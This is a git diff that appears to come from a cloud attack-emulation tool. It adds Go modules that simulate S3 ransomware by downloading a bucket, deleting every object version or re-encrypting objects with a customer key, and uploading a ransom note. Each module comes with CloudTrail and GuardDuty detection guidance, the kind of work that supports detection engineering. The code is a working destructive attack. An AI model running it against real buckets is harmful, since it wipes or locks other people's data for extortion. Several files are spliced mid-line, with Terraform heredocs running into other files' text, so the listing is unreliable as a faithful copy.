v1.1.4/go.mod h1:1PrKYwxTM+zjpw9Y41KFtoJCQrJ34Z47Y4VgVbfndjo= github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.19.1 h1:MvowO2iiy2oKDGxFMe9ZnNxs5uKiIP3x1NThF9/dLns= github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.19.1/go.mod h1:VcHQDIdzSaBM9l0RMG0Eu7n92rnWMgl5JPanjvwcdJk= github.com/aws/aws-sdk-go-v2/service/ec2 v1.63.1 h1:jSS5gynKz4XaGcs6m25idCTN+tvPkRJ2WedSWCcZEjI= github.com/aws/aws-sdk-go-v2/service/ec2 v1.63.1/go.mod h1:0+6fPoY0SglgzQUs2yml7X/fup12cMlVumJufh5npRQ= github.com/aws/aws-sdk-go-v2/service/iam v1.18.20 h1:Kv+0rsPs7+Q7b2t9UAVUZONv2qdfSInySmBC9kaCyd8= github.com/aws/aws-sdk-go-v2/service/iam v1.18.20/go.mod h1:pDBRPE4AibneAh4P6fZuU3eUkAgYirM88o2M2MxIXlg= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.9 h1:Lh1AShsuIJTwMkoxVCAYPJgNG5H+eN6SmoUn8nOZ5wE= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.9/go.mod h1:a9j48l6yL5XINLHLcOKInjdvknN+vWqPBxqeIDw7ktw= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.18 h1:BBYoNQt2kUZUUK4bIPsKrCcjVPUMNsgQpNAwhznK/zo= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.18/go.mod h1:NS55eQ4YixUJPTC+INxi2/jCqe1y2Uw3rnh9wEOVJxY= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.17 h1:Jrd/oMh0PKQc6+BowB+pLEwLIgaQF29eYbe7E1Av9Ug= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.14 h1:m0QTSI6pZYJTk5WSKx3fm5cNW/DCicVzULBgU/6IyD0= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.14/go.mod h1:dDilntgHy9WnHXsh7dDtUPgHKEfTJIBUTHM8OWm0f/0= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.36 h1:eev2yZX7esGRjqRbnVk1UxMLw4CyVZDpZXRCcy75oQk= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.36/go.mod h1:lGnOkH9NJATw0XEPcAknFBj3zzNTEGRHtSw+CwC1YTg= github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.17/go.mod h1:4nYOrY41Lrbk2170/BGkcJKBhws9Pfn8MG3aGqjjeFI= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.17 h1:HfVVR1vItaG6le+Bpw6P4midjBDMKnjMyZnw9MXYUcE= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.17/go.mod h1:YqMdV+gEKCQ59NrB7rzrJdALeBIsYiVi8Inj3+KcqHI= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 h1:CdzPW9kKitgIiLV1+MHobfR5Xg25iYnyzWZhyQuSlDI= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35/go.mod h1:QGF2Rs33W5MaN9gYdEQOBBFPLwTZkEhRwI33f7KIG0o= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.15.4 h1:v0jkRigbSD6uOdwcaUQmgEwG1BkPfAPDqaeNt/29ghg= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.15.4/go.mod h1:LhTyt8J04LL+9cIt7pYJ5lbS/U98ZmXovLOR/4LUsk8= github.com/aws/aws-sdk-go-v2/service/lambda v1.24.7 h1:oL0zUTbYgb9J48x/C/Vg7WoM92W+i24Lk7EwCB/ExVs= github.com/aws/aws-sdk-go-v2/service/lambda v1.24.7/go.mod h1:XKNjqEFXDuprTv4XxJEyz7gyitOrNFQZCsLNoxLZh/k= github.com/aws/aws-sdk-go-v2/service/organizations v1.16.13 h1:MDVXHnv3dioSBDzz9q/8bw8uSm8twVt6VzL2B95XZQ8= @@ -76,20 +83,21 @@ github.com/aws/aws-sdk-go-v2/service/rds v1.26.1 h1:tiXsw36GaRUWMcH5uRM2uM7vo+bN github.com/aws/aws-sdk-go-v2/service/rds v1.26.1/go.mod h1:d8jJiNpy2cyl52sw5msQQ12ajEbPAK+twYPR7J35slw= github.com/aws/aws-sdk-go-v2/service/rolesanywhere v1.0.10 h1:FYBnb1z07t3qpAFddDMIJskPEjWEIMbK4Dv/FWDX06s= github.com/aws/aws-sdk-go-v2/service/rolesanywhere v1.0.10/go.mod h1:61Oc8W4jS9kp9xNyrBkzir82bq5AV7moeXLkHR6nzLY= -github.com/aws/aws-sdk-go-v2/service/s3 v1.27.11 h1:3/gm/JTX9bX8CpzTgIlrtYpB3EVBDxyg/GY/QdcIEZw= -github.com/aws/aws-sdk-go-v2/service/s3 v1.27.11/go.mod h1:fmgDANqTUCxciViKl9hb/zD5LFbvPINFRgWhDbR+vZo= +github.com/aws/aws-sdk-go-v2/service/s3 v1.38.5 h1:A42xdtStObqy7NGvzZKpnyNXvoOmm+FENobZ0/ssHWk= +github.com/aws/aws-sdk-go-v2/service/s3 v1.38.5/go.mod h1:rDGMZA7f4pbmTtPOk5v5UM2lmX6UAbRnMDJeDvnH7AM= github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.3 h1:d5S+OhXne5O3cIo999RARy/N1dgXW2ldWgD53qbEAP4= github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.3/go.mod h1:+X/VSQcuvHPWPRlM64HoWUJAPwsD86KpU9Z52lrsodM= github.com/aws/aws-sdk-go-v2/service/ssm v1.31.0 h1:zBiXS2v+ycKZ61bTBR1jGqIJhEW7Qjcl8c/mrkUNeog= github.com/aws/aws-sdk-go-v2/service/ssm v1.31.0/go.mod h1:JtkQSJFGEovwP6s+guH5Ap7iUemh3nMqHtg5liCv9ok= -github.com/aws/aws-sdk-go-v2/service/sso v1.11.23 h1:pwvCchFUEnlceKIgPUouBJwK81aCkQ8UDMORfeFtW10= -github.com/aws/aws-sdk-go-v2/service/sso v1.11.23/go.mod h1:/w0eg9IhFGjGyyncHIQrXtU8wvNsTJOP0R6PPj0wf80= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.6 h1:OwhhKc1P9ElfWbMKPIbMMZBV6hzJlL2JKD76wNNVzgQ= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.6/go.mod h1:csZuQY65DAdFBt1oIjO5hhBR49kQqop4+lcuCjf2arA= -github.com/aws/aws-sdk-go-v2/service/sts v1.16.19 h1:9pPi0PsFNAGILFfPCk8Y0iyEBGc6lu6OQ97U7hmdesg= -github.com/aws/aws-sdk-go-v2/service/sts v1.16.19/go.mod h1:h4J3oPZQbxLhzGnk+j9dfYHi5qIOVJ5kczZd658/ydM= -github.com/aws/smithy-go v1.13.3 h1:l7LYxGuzK6/K+NzJ2mC+VvLUbae0sL3bXU//04MkmnA= +github.com/aws/aws-sdk-go-v2/service/sso v1.13.5 h1:oCvTFSDi67AX0pOX3PuPdGFewvLRU2zzFSrTsgURNo0= +github.com/aws/aws-sdk-go-v2/service/sso v1.13.5/go.mod h1:fIAwKQKBFu90pBxx07BFOMJLpRUGu8VOzLJakeY+0K4= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.15.5 h1:dnInJb4S0oy8aQuri1mV6ipLlnZPfnsDNB9BGO9PDNY= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.15.5/go.mod h1:yygr8ACQRY2PrEcy3xsUI357stq2AxnFM6DIsR9lij4= +github.com/aws/aws-sdk-go-v2/service/sts v1.21.5 h1:CQBFElb0LS8RojMJlxRSo/HXipvTZW2S44Lt9Mk2aYQ= +github.com/aws/aws-sdk-go-v2/service/sts v1.21.5/go.mod h1:VC7JDqsqiwXukYEDjoHh9U0fOJtNWh04FPQz4ct4GGU= github.com/aws/smithy-go v1.13.3/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA= +github.com/aws/smithy-go v1.14.2 h1:MJU9hqBGbvWZdApzpvoF2WAIJDbtjK2NDJSiJP7HblQ= +github.com/aws/smithy-go v1.14.2/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA= github.com/cenkalti/backoff/v4 v4.2.1 h1:y4OZtCnogmCPw98Zjyt5a6+QwPLGkiQsYW5oUqylYbM= github.com/cenkalti/backoff/v4 v4.2.1/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.go b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.go new file mode 100644 index 00000000..63f20d1a --- /dev/null +++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.go @@ -0,0 +1,141 @@ +package aws + +import ( + "context" + _ "embed" + "fmt" + "github.com/aws/aws-sdk-go-v2/service/s3" + "github.com/aws/aws-sdk-go-v2/service/s3/types" + "github.com/datadog/stratus-red-team/v2/internal/utils" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "strings" + + "log" + "strconv" +) + +//go:embed main.tf +var tf []byte + +const RansomNoteFilename = `FILES-DELETED.txt` +const RansomNoteContents = `Your data is backed up in a safe location. To negotiate with us for recovery, get in touch with rick@astley.io. In 7 days, if we don't hear from you, that data will either be sold or published, and might no longer be recoverable.'` + +const CodeBlock = "```" + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "aws.impact.s3-ransomware-batch-deletion", + FriendlyName: "S3 Ransomware through batch file deletion", + Description: ` +Simulates S3 ransomware activity that empties a bucket through batch deletion, then uploads a ransom note. + +Warm-up: + +- Create an S3 bucket, with versioning enabled +- Create a number of files in the bucket, with random content and extensions + +Detonation: + +- List all available objects and their versions in the bucket +- Delete all objects in the bucket in one request, using [DeleteObjects](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html) +- Upload a ransom note to the bucket + +Note: The attack does not need to disable versioning, which does not protect against ransomware. This attack removes all versions of the objects in the bucket. + +References: + +- [The anatomy of a ransomware event targeting S3 (re:Inforce, 2022)](https://d1.awsstatic.com/events/aws-reinforce-2022/TDR431_The-anatomy-of-a-ransomware-event-targeting-data-residing-in-Amazon-S3.pdf) +- [The anatomy of ransomware event targeting data residing in Amazon S3 (AWS Security Blog)](https://aws.amazon.com/blogs/security/anatomy-of-a-ransomware-event-targeting-data-in-amazon-s3/) +- [Ransomware in the cloud](https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82) +- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/ +- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ +`, + Detection: ` +You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket. +In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject, DeleteObjects, GetObject), +[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects), +or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior), [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)). + +Sample DeleteObjects event, shortened for readability: + +` + CodeBlock + `json hl_lines="3 8" +{ + "eventSource": "s3.amazonaws.com", + "eventName": "DeleteObjects", + "eventCategory": "Data" + "managementEvent": false, + "readOnly": false + "requestParameters": { + "bucketName": "target-bucket", + "Host": "target-bucket.s3.us-east-1.amazonaws.com", + "delete": "", + "x-id": "DeleteObjects" + }, + "responseElements": null, + "resources": [ + { + "type": "AWS::S3::Object", + "ARNPrefix": "arn:aws:s3:::target-bucket/" + }, + { + "accountId": "012345678901", + "type": "AWS::S3::Bucket", + "ARN": "arn:aws:s3:::target-bucket" + } + ], + "eventType": "AwsApiCall", + "recipientAccountId": "012345678901" +} +` + CodeBlock + ` + +Note that DeleteObjects does not indicate the list of files deleted, or how many files were removed (which can be up to 1'000 files per call).' +`, + Platform: stratus.AWS, + IsIdempotent: false, // ransomware cannot be reverted :) + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + bucketName := params["bucket_name"] + s3Client := s3.NewFromConfig(providers.AWS().GetConnection()) + + log.Println("Simulating a ransomware attack on bucket " + bucketName) + + if err := utils.DownloadAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to download bucket objects") + } + + if err := removeAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to remove objects in the bucket: %w", err) + } + + log.Println("Uploading fake ransom note") + if err := utils.UploadFile(s3Client, bucketName, RansomNoteFilename, strings.NewReader(RansomNoteContents)); err != nil { + return fmt.Errorf("failed to upload ransom note to the bucket: %w", err) + } + + return nil +} + +func removeAllObjects(s3Client *s3.Client, bucketName string) error { + objects, err := utils.ListAllObjectVersions(s3Client, bucketName) + if err != nil { + return fmt.Errorf("unable to list bucket objects: %w", err) + } + log.Println("Found " + strconv.Itoa(len(objects)) + " object versions to delete") + log.Println("Removing all objects through a DeleteObjects batch request") + _, err = s3Client.DeleteObjects(context.Background(), &s3.DeleteObjectsInput{ + Bucket: &bucketName, + Delete: &types.Delete{Objects: objects}, + }) + if err != nil { + return fmt.Errorf("unable to delete bucket objects: %w", err) + } + log.Println("Successfully removed all objects from the bucket") + return nil + +} diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.tf b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.tf new file mode 100644 index 00000000..d8d12d25 --- /dev/null +++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-batch-deletion/main.tf @@ -0,0 +1,398 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.0" + } + } +} +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + skip_get_ec2_platforms = true +} + +resource "random_string" "suffix" { + length = 6 + min_lower = 6 + special = false +} + +locals { + resource_prefix = "stratus-red-team-ransomware-bucket" + bucket_name = format("%s-%s", local.resource_prefix, random_string.suffix.result) + num-files = 51 + min-size-bytes = 1 + max-size-bytes = 200 + file-extensions = ["sql", "txt", "docx", "pdf", "png", "tar.gz"] + wordlist = split("\n", <DeleteObject, DeleteObjects, GetObject, CopyObject), +[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects), +or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior), [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)). + +Sample CloudTrail event CopyObject, when a file is encrypted with a client-side key: + +` + CodeBlock + `json hl_lines="3 9 11 12" +{ + "eventSource": "s3.amazonaws.com", + "eventName": "CopyObject", + "eventType": "AwsApiCall", + "eventCategory": "Data", + "managementEvent": false, + "readOnly": false, + "requestParameters": { + "bucketName": "target bucket", + "Host": "target bucket.s3.us-east-1.amazonaws.com", + "x-amz-server-side-encryption-customer-algorithm": "AES256", + "x-amz-copy-source": "target bucket/target file.txt", + "key": "target file.txt", + "x-id": "CopyObject" + }, + "responseElements": { + "x-amz-server-side-encryption-customer-algorithm": "AES256" + }, + "resources": [ + { + "type": "AWS::S3::Object", + "ARN": "arn:aws:s3:::target bucket/target file.txt" + }, + { + "accountId": "012345678901", + "type": "AWS::S3::Bucket", + "ARN": "arn:aws:s3:::target bucket" + } + ] +} +` + CodeBlock + ` +`, + Platform: stratus.AWS, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, // We need to decrypt files before cleaning up, otherwise Terraform can't delete them properly + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + bucketName := params["bucket_name"] + s3Client := s3.NewFromConfig(providers.AWS().GetConnection()) + + log.Println("Simulating a ransomware attack on bucket " + bucketName) + + if err := utils.DownloadAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to download bucket objects") + } + + if err := encryptAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to encrypt objects in the bucket: %w", err) + } + + log.Println("Uploading fake ransom note") + if err := utils.UploadFile(s3Client, bucketName, RansomNoteFilename, strings.NewReader(RansomNoteContents)); err != nil { + return fmt.Errorf("failed to upload ransom note to the bucket: %w", err) + } + + return nil +} + +func encryptAllObjects(s3Client *s3.Client, bucketName string) error { + objects, err := utils.ListAllObjectVersions(s3Client, bucketName) + if err != nil { + return fmt.Errorf("unable to list bucket objects: %w", err) + } + log.Println("Found " + strconv.Itoa(len(objects)) + " objects to encrypt") + log.Println("Encrypting all objects one by one with the secret AES256 encryption key '" + EncryptionKey + "'") + + for _, object := range objects { + _, err := s3Client.CopyObject(context.Background(), &s3.CopyObjectInput{ + Bucket: &bucketName, + Key: object.Key, + CopySource: aws.String(bucketName + "/" + *object.Key), + SSECustomerKey: aws.String(Base64EncodedEncryptionKey), + SSECustomerAlgorithm: aws.String("AES256"), + SSECustomerKeyMD5: aws.String(EncryptionKeyMD5), + }) + if err != nil { + return fmt.Errorf("unable to encrypt file %s: %w", *object.Key, err) + } + } + log.Println("Successfully encrypted all objects in the bucket") + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + bucketName := params["bucket_name"] + s3Client := s3.NewFromConfig(providers.AWS().GetConnection()) + + log.Println("Decrypting all files in the bucket") + if err := decryptAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to decrypt objects in the bucket: %w", err) + } + + return nil +} + +func decryptAllObjects(s3Client *s3.Client, bucketName string) error { + objects, err := utils.ListAllObjectVersions(s3Client, bucketName) + if err != nil { + return fmt.Errorf("unable to list bucket objects: %w", err) + } + log.Println("Found " + strconv.Itoa(len(objects)) + " objects to encrypt") + log.Println("Decrypting all objects one by one with the secret AES256 encryption key '" + EncryptionKey + "'") + + for _, object := range objects { + if *object.Key == RansomNoteFilename { + // ignore the fake ransom note + continue + } + result, err := s3Client.GetObject(context.Background(), &s3.GetObjectInput{ + Bucket: &bucketName, + Key: object.Key, + SSECustomerKey: aws.String(Base64EncodedEncryptionKey), + SSECustomerAlgorithm: aws.String("AES256"), + SSECustomerKeyMD5: aws.String(EncryptionKeyMD5), + }) + if err != nil { + return fmt.Errorf("unable to decrypt file %s: %w", *object.Key, err) + } + + _, err = s3Client.DeleteObject(context.Background(), &s3.DeleteObjectInput{ + Bucket: &bucketName, + Key: object.Key, + }) + if err != nil { + return fmt.Errorf("unable to delete encrypted file %s: %w", *object.Key, err) + } + fileContent, _ := io.ReadAll(result.Body) + + err = utils.UploadFile(s3Client, bucketName, *object.Key, strings.NewReader(string(fileContent))) + if err != nil { + return fmt.Errorf("unable to re-upload decrypted file %s: %w", *object.Key, err) + } + } + log.Println("Successfully encrypted all objects in the bucket") + return nil +} diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption/main.tf b/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption/main.tf new file mode 100644 index 00000000..b7dabc33 --- /dev/null +++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption/main.tf @@ -0,0 +1,388 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.0" + } + } +} +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + skip_get_ec2_platforms = true +} + +resource "random_string" "suffix" { + length = 6 + min_lower = 6 + special = false +} + +locals { + resource_prefix = "stratus-red-team-ransomware-bucket" + bucket_name = format("%s-%s", local.resource_prefix, random_string.suffix.result) + num-files = 51 + min-size-bytes = 1 + max-size-bytes = 200 + file-extensions = ["sql", "txt", "docx", "pdf", "png", "tar.gz"] + wordlist = split("\n", <DeleteObject, DeleteObjects, GetObject), +[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects), +or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior), [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)). + +Sample CloudTrail event DeleteObject, shortened for readability: + +` + CodeBlock + `json hl_lines="3 8 10" +{ + "eventSource": "s3.amazonaws.com", + "eventName": "DeleteObject", + "eventCategory": "Data", + "managementEvent": false, + "readOnly": false, + "requestParameters": { + "bucketName": "target-bucket", + "Host": "target-bucket.s3.us-east-1.amazonaws.com", + "key": "target-object-key", + "x-id": "DeleteObject" + }, + "resources": [ + { + "type": "AWS::S3::Object", + "ARN": "arn:aws:s3:::target-bucket/target-object-key" + }, + { + "accountId": "012345678901", + "type": "AWS::S3::Bucket", + "ARN": "arn:aws:s3:::target-bucket" + } + ], + "eventType": "AwsApiCall", + "recipientAccountId": "012345678901" +} +` + CodeBlock + ` +`, + Platform: stratus.AWS, + IsIdempotent: false, // ransomware cannot be reverted :) + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + bucketName := params["bucket_name"] + s3Client := s3.NewFromConfig(providers.AWS().GetConnection()) + + log.Println("Simulating a ransomware attack on bucket " + bucketName) + + if err := utils.DownloadAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to download bucket objects") + } + + if err := removeAllObjects(s3Client, bucketName); err != nil { + return fmt.Errorf("failed to remove objects in the bucket: %w", err) + } + + log.Println("Uploading fake ransom note") + if err := utils.UploadFile(s3Client, bucketName, RansomNoteFilename, strings.NewReader(RansomNoteContents)); err != nil { + return fmt.Errorf("failed to upload ransom note to the bucket: %w", err) + } + + return nil +} + +func removeAllObjects(s3Client *s3.Client, bucketName string) error { + objects, err := utils.ListAllObjectVersions(s3Client, bucketName) + if err != nil { + return fmt.Errorf("unable to list bucket objects: %w", err) + } + log.Println("Found " + strconv.Itoa(len(objects)) + " object versions to delete") + log.Println("Removing all objects one by one individually") + for _, object := range objects { + _, err := s3Client.DeleteObject(context.Background(), &s3.DeleteObjectInput{ + Bucket: &bucketName, + Key: object.Key, + VersionId: object.VersionId, + }) + if err != nil { + return fmt.Errorf("unable to delete file %s: %w", *object.Key, err) + } + } + log.Println("Successfully removed all objects from the bucket") + return nil +} diff --git a/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion/main.tf b/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion/main.tf new file mode 100644 index 00000000..d8d12d25 --- /dev/null +++ b/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion/main.tf @@ -0,0 +1,398 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.0" + } + } +} +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + skip_get_ec2_platforms = true +} + +resource "random_string" "suffix" { + length = 6 + min_lower = 6 + special = false +} + +locals { + resource_prefix = "stratus-red-team-ransomware-bucket" + bucket_name = format("%s-%s", local.resource_prefix, random_string.suffix.result) + num-files = 51 + min-size-bytes = 1 + max-size-bytes = 200 + file-extensions = ["sql", "txt", "docx", "pdf", "png", "tar.gz"] + wordlist = split("\n", <